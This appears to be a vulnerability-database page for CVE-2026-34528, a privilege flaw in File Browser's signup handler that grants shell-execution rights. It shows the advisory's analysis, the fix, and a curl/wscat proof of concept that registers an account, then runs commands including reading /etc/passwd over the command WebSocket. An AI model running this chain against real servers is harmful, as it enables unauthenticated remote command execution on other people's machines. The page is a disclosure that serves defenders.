Vulnerability-Lookup

CVE-2026-34528 (GCVE-0-2026-34528)

Vulnerability from cvelistv5 – Published: 2026-04-01 20:39 – Updated: 2026-04-02 14:02

Title

File Browser's Signup Grants Execution Permissions When Default Permissions Includes Execution

Summary

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to version 2.62.2, the signupHandler in File Browser applies default user permissions via d.settings.Defaults.Apply(user), then strips only Admin. The Execute permission and Commands list from the default user template are not stripped. When an administrator has enabled signup, server-side execution, and set Execute=true in the default user template, any unauthenticated user who self-registers inherits shell execution capabilities and can run arbitrary commands on the server. This issue has been patched in version 2.62.2.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-02 14:02 UTC

CWE

CWE-269 - Improper Privilege Management

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7660 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/filebrowser/filebrowser/securi…	x_refsource_CONFIRM
https://github.com/filebrowser/filebrowser/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
filebrowser	filebrowser	Affected: < 2.62.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-34528

Vulnerability from fkie_nvd - Published: 2026-04-01 21:17 - Updated: 2026-06-17 10:39

Severity

8.1 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/filebrowser/filebrowser/releases/tag/v2.62.2	Product, Release Notes
security-advisories@github.com	https://github.com/filebrowser/filebrowser/security/advisories/GHSA-x8jc-jvqm-pm3f	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/filebrowser/filebrowser/security/advisories/GHSA-x8jc-jvqm-pm3f	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	filebrowser	filebrowser	*

JSON

To clipboard

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  "affected": [
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      "affectedData": [
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          "product": "filebrowser",
          "vendor": "filebrowser",
          "versions": [
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              "status": "affected",
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GHSA-X8JC-JVQM-PM3F

Vulnerability from github – Published: 2026-03-31 23:44 – Updated: 2026-04-06 17:13

Summary

File Browser's Signup Grants Execution Permissions When Default Permissions Includes Execution

Details

Summary

The signupHandler in File Browser applies default user permissions via d.settings.Defaults.Apply(user), then strips only Admin (commit a63573b). The Execute permission and Commands list from the default user template are not stripped. When an administrator has enabled signup, server-side execution, and set Execute=true in the default user template, any unauthenticated user who self-registers inherits shell execution capabilities and can run arbitrary commands on the server.

Details

Root Cause

signupHandler at http/auth.go:167–172 applies all default permissions before stripping only Admin:

// http/auth.go
d.settings.Defaults.Apply(user)   // copies ALL permissions from defaults

// Only Admin is stripped — Execute, Commands are still inherited
user.Perm.Admin = false
// user.Perm.Execute remains true if set in defaults
// user.Commands remains populated if set in defaults

settings/defaults.go:31–33 confirms Apply copies the full permissions struct including Execute and Commands:

func (d *UserDefaults) Apply(u *users.User) {
    u.Perm = d.Perm          // includes Execute
    u.Commands = d.Commands  // includes allowed shell commands
    // ...
}

The commandsHandler at http/commands.go:63–66 checks both the server-wide EnableExec flag and d.user.Perm.Execute:

if !d.server.EnableExec || !d.user.Perm.Execute {
    // writes "Command not allowed." and returns
}

The withUser middleware reads d.user from the database at request time (http/auth.go:103), so the persisted Execute=true and Commands values from signup are authoritative. The command allowlist check at commands.go:80 passes because the user's Commands list contains the inherited default commands:

if !slices.Contains(d.user.Commands, name) {
    // writes "Command not allowed." and returns
}

Execution Flow

Admin configures: Signup=true, EnableExec=true, Defaults.Perm.Execute=true, Defaults.Commands=["bash"]
Unauthenticated attacker POSTs to /api/signup → new user created with Execute=true, Commands=["bash"]
Attacker logs in → receives JWT with valid user ID
Attacker opens WebSocket to /api/command/ → withUser fetches user from DB, Execute=true passes check
Attacker sends bash over WebSocket → exec.Command("bash") is invoked → arbitrary shell execution

This is a direct consequence of the incomplete fix in commit a63573b (CVE-2026-32760 / GHSA-5gg9-5g7w-hm73), which applied the same rationale ("signup users should not inherit privileged defaults") only to Admin, not to Execute and Commands.

PoC

TARGET="http://localhost:8080"

# Step 1: Self-register (no authentication required)
curl -s -X POST "$TARGET/api/signup" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"AttackerP@ss1!"}'
# Returns: 200 OK

# Step 2: Log in and capture token
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"AttackerP@ss1!"}' | tr -d '"')

# Step 3: Inspect inherited permissions (decode JWT payload)
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Expected output (if defaults have Execute=true, Commands=["bash"]):
# {
#   "user": {
#     "perm": { "execute": true, ... },
#     "commands": ["bash"],
#     ...
#   }
# }

# Step 4: Execute shell command via WebSocket (requires wscat: npm install -g wscat)
echo '{"command":"bash -c \"id && hostname && cat /etc/passwd | head -3\""}' | \
  wscat --header "X-Auth: $TOKEN" \
        --connect "$TARGET/api/command/" \
        --wait 3
# Expected: uid=... hostname output followed by /etc/passwd lines

Impact

On any deployment where an administrator has: 1. Enabled public self-registration (signup = true) 2. Enabled server-side command execution (enableExec = true) 3. Set Execute = true in the default user template 4. Populated Commands with one or more shell commands

An unauthenticated attacker can self-register and immediately gain the ability to run arbitrary shell commands on the server with the privileges of the File Browser process. All files accessible to the process, environment variables (including secrets), and network interfaces are exposed. This is a complete server compromise for processes running as root, and a significant lateral movement vector otherwise.

The original Admin fix (GHSA-5gg9-5g7w-hm73) demonstrates that the project explicitly recognizes that self-registered users should not inherit privileged defaults. The Execute + Commands omission is an incomplete application of that principle.

Recommended Fix

Extend the existing Admin stripping in http/auth.go to also clear Execute and Commands for self-registered users:

// http/auth.go — after d.settings.Defaults.Apply(user)

// Users signed up via the signup handler should never become admins, even
// if that is the default permission.
user.Perm.Admin = false

// Self-registered users should not inherit execution capabilities from
// default settings, regardless of what the administrator has configured
// as the default. Execution rights must be explicitly granted by an admin.
user.Perm.Execute = false
user.Commands = []string{}

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.62.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.62.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:44:53Z",
    "nvd_published_at": "2026-04-01T21:17:00Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `signupHandler` in File Browser applies default user permissions via `d.settings.Defaults.Apply(user)`, then strips only `Admin` (commit `a63573b`). The `Execute` permission and `Commands` list from the default user template are **not** stripped. When an administrator has enabled signup, server-side execution, and set `Execute=true` in the default user template, any unauthenticated user who self-registers inherits shell execution capabilities and can run arbitrary commands on the server.\n\n## Details\n\n### Root Cause\n\n`signupHandler` at `http/auth.go:167\u2013172` applies all default permissions before stripping only `Admin`:\n\n```go\n// http/auth.go\nd.settings.Defaults.Apply(user)   // copies ALL permissions from defaults\n\n// Only Admin is stripped \u2014 Execute, Commands are still inherited\nuser.Perm.Admin = false\n// user.Perm.Execute remains true if set in defaults\n// user.Commands remains populated if set in defaults\n```\n\n`settings/defaults.go:31\u201333` confirms `Apply` copies the full permissions struct including Execute and Commands:\n\n```go\nfunc (d *UserDefaults) Apply(u *users.User) {\n    u.Perm = d.Perm          // includes Execute\n    u.Commands = d.Commands  // includes allowed shell commands\n    // ...\n}\n```\n\nThe `commandsHandler` at `http/commands.go:63\u201366` checks both the server-wide `EnableExec` flag and `d.user.Perm.Execute`:\n\n```go\nif !d.server.EnableExec || !d.user.Perm.Execute {\n    // writes \"Command not allowed.\" and returns\n}\n```\n\nThe `withUser` middleware reads `d.user` from the database at request time (`http/auth.go:103`), so the persisted `Execute=true` and `Commands` values from signup are authoritative. The command allowlist check at `commands.go:80` passes because the user\u0027s `Commands` list contains the inherited default commands:\n\n```go\nif !slices.Contains(d.user.Commands, name) {\n    // writes \"Command not allowed.\" and returns\n}\n```\n\n### Execution Flow\n\n1. Admin configures: `Signup=true`, `EnableExec=true`, `Defaults.Perm.Execute=true`, `Defaults.Commands=[\"bash\"]`\n2. Unauthenticated attacker POSTs to `/api/signup` \u2192 new user created with `Execute=true`, `Commands=[\"bash\"]`\n3. Attacker logs in \u2192 receives JWT with valid user ID\n4. Attacker opens WebSocket to `/api/command/` \u2192 `withUser` fetches user from DB, `Execute=true` passes check\n5. Attacker sends `bash` over WebSocket \u2192 `exec.Command(\"bash\")` is invoked \u2192 arbitrary shell execution\n\nThis is a direct consequence of the incomplete fix in commit `a63573b` (CVE-2026-32760 / GHSA-5gg9-5g7w-hm73), which applied the same rationale (\"signup users should not inherit privileged defaults\") only to `Admin`, not to `Execute` and `Commands`.\n\n## PoC\n\n```bash\nTARGET=\"http://localhost:8080\"\n\n# Step 1: Self-register (no authentication required)\ncurl -s -X POST \"$TARGET/api/signup\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"AttackerP@ss1!\"}\u0027\n# Returns: 200 OK\n\n# Step 2: Log in and capture token\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"AttackerP@ss1!\"}\u0027 | tr -d \u0027\"\u0027)\n\n# Step 3: Inspect inherited permissions (decode JWT payload)\necho \"$TOKEN\" | cut -d\u0027.\u0027 -f2 | base64 -d 2\u003e/dev/null | python3 -m json.tool\n# Expected output (if defaults have Execute=true, Commands=[\"bash\"]):\n# {\n#   \"user\": {\n#     \"perm\": { \"execute\": true, ... },\n#     \"commands\": [\"bash\"],\n#     ...\n#   }\n# }\n\n# Step 4: Execute shell command via WebSocket (requires wscat: npm install -g wscat)\necho \u0027{\"command\":\"bash -c \\\"id \u0026\u0026 hostname \u0026\u0026 cat /etc/passwd | head -3\\\"\"}\u0027 | \\\n  wscat --header \"X-Auth: $TOKEN\" \\\n        --connect \"$TARGET/api/command/\" \\\n        --wait 3\n# Expected: uid=... hostname output followed by /etc/passwd lines\n```\n\n## Impact\n\nOn any deployment where an administrator has:\n1. Enabled public self-registration (`signup = true`)\n2. Enabled server-side command execution (`enableExec = true`)\n3. Set `Execute = true` in the default user template\n4. Populated `Commands` with one or more shell commands\n\nAn unauthenticated attacker can self-register and immediately gain the ability to run arbitrary shell commands on the server with the privileges of the File Browser process. All files accessible to the process, environment variables (including secrets), and network interfaces are exposed. This is a complete server compromise for processes running as root, and a significant lateral movement vector otherwise.\n\nThe original `Admin` fix (GHSA-5gg9-5g7w-hm73) demonstrates that the project explicitly recognizes that self-registered users should not inherit privileged defaults. The `Execute` + `Commands` omission is an incomplete application of that principle.\n\n## Recommended Fix\n\nExtend the existing Admin stripping in `http/auth.go` to also clear `Execute` and `Commands` for self-registered users:\n\n```go\n// http/auth.go \u2014 after d.settings.Defaults.Apply(user)\n\n// Users signed up via the signup handler should never become admins, even\n// if that is the default permission.\nuser.Perm.Admin = false\n\n// Self-registered users should not inherit execution capabilities from\n// default settings, regardless of what the administrator has configured\n// as the default. Execution rights must be explicitly granted by an admin.\nuser.Perm.Execute = false\nuser.Commands = []string{}\n```",
  "id": "GHSA-x8jc-jvqm-pm3f",
  "modified": "2026-04-06T17:13:33Z",
  "published": "2026-03-31T23:44:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-x8jc-jvqm-pm3f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34528"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.62.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser\u0027s Signup Grants Execution Permissions When Default Permissions Includes Execution"
}

Sightings

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Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-34528 (GCVE-0-2026-34528)

FKIE_CVE-2026-34528

GHSA-X8JC-JVQM-PM3F

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PoC

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